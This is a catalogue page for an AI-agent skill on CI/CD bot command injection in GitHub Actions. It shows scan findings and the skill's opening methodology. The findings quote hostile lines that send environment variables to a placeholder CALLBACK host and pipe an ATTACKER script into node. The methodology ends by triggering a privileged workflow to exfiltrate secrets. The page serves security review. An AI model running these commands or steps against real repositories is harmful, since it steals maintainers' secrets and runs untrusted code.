Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add SecurityTalent/bugskill-ai --skill cicd-bot-command-injectiongit clone --depth 1 https://github.com/SecurityTalent/bugskill-aiWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/securitytalent/bugskill-ai/cicd-bot-command-injection)<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/cicd-bot-command-injection"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/cicd-bot-command-injection/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/securitytalent/bugskill-ai/cicd-bot-command-injection"><img src="https://agentmods.dev/badge/skills/securitytalent/bugskill-ai/cicd-bot-command-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00106 | $0.01942 |
| Opus 5.5 | $0.00042 | $0.00777 |
| Sonnet 5.5 | $0.00021 | $0.00388 |
| Haiku 4.5 | $0.00011 | $0.00194 |
Grade B, and why
cicd-bot-command-injection scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 20d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
"preinstall": "curl -d @/proc/self/environ https://CALLBACK" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
"build": "node legit-build.js && curl -sSfL https://ATTACKER/r.js | node", Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
"build": "node legit-build.js && curl -sSfL https://ATTACKER/r.js | node", This is a copy
100% identical to cicd-bot-command-injection — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 169 lines — stays where its author put it; the contents beside it link to each section on GitHub.
CI/CD Bot Command Injection
What Is Broken and Why
Some repositories implement "ChatOps" patterns where maintainers post special comments
(e.g., @bot publish, /deploy staging) to trigger CI/CD workflows. The issue_comment
and pull_request_review_comment triggers run in the base repository context with access
to secrets. When the workflow fails to verify that the commenter is an authorized maintainer
before checking out and running PR code, any repository contributor (or in public repos,
anyone) can trigger privileged jobs — including those that publish packages, deploy to
production, or access sensitive tokens.
Key Signals
on: issue_commentoron: pull_request_review_commenttrigger- Workflow body checks
github.event.comment.bodyfor a command string (e.g.,contains(..., 'publish')) - No
github.actormembership check against an allowlist or team - Workflow subsequently checks out the PR's merge commit or head SHA
- Secrets (
NPM_TOKEN,AWS_*, deploy keys) accessible in the triggered job uses: ./.github/workflows/cmd-*.ymlpattern — bot delegates to another reusable workflow that has secrets- Environment with "zero protection rules" used in publish/deploy job
Methodology
- Enumerate
issue_commentandpull_request_review_commenttriggers:grep -rln 'issue_comment\|pull_request_review_comment' .github/workflows/ - Read the workflow — find what command string it listens for:
grep -A10 'issue_comment' .github/workflows/WORKFLOW.yml | grep 'contains\|startsWith\|body' - Check for authorization verification:
grep 'github.actor\|team\|collaborator\|permission' .github/workflows/WORKFLOW.yml - If no actor check — any commenter can trigger it.
- Trace what the triggered workflow does: does it checkout PR code? Does it have secrets?
- Open a PR (or find an existing one) and post the trigger comment.
- Monitor workflow run to confirm execution and exfiltrate secrets.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 20d ago First seen · 169 lines · 106 tokens per session scan B b13032b3a8c5
cicd-bot-command-injection is a skill published in the GitHub repository SecurityTalent/bugskill-ai (13 stars, last pushed 21d ago), licensed MIT. It adds 106 tokens to every session and 1,942 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it B with 3 findings (sends data to an external url, downloads and executes remote code, makes network calls). It is 100% identical to cicd-bot-command-injection, differing in 0 lines, and is treated as a copy.
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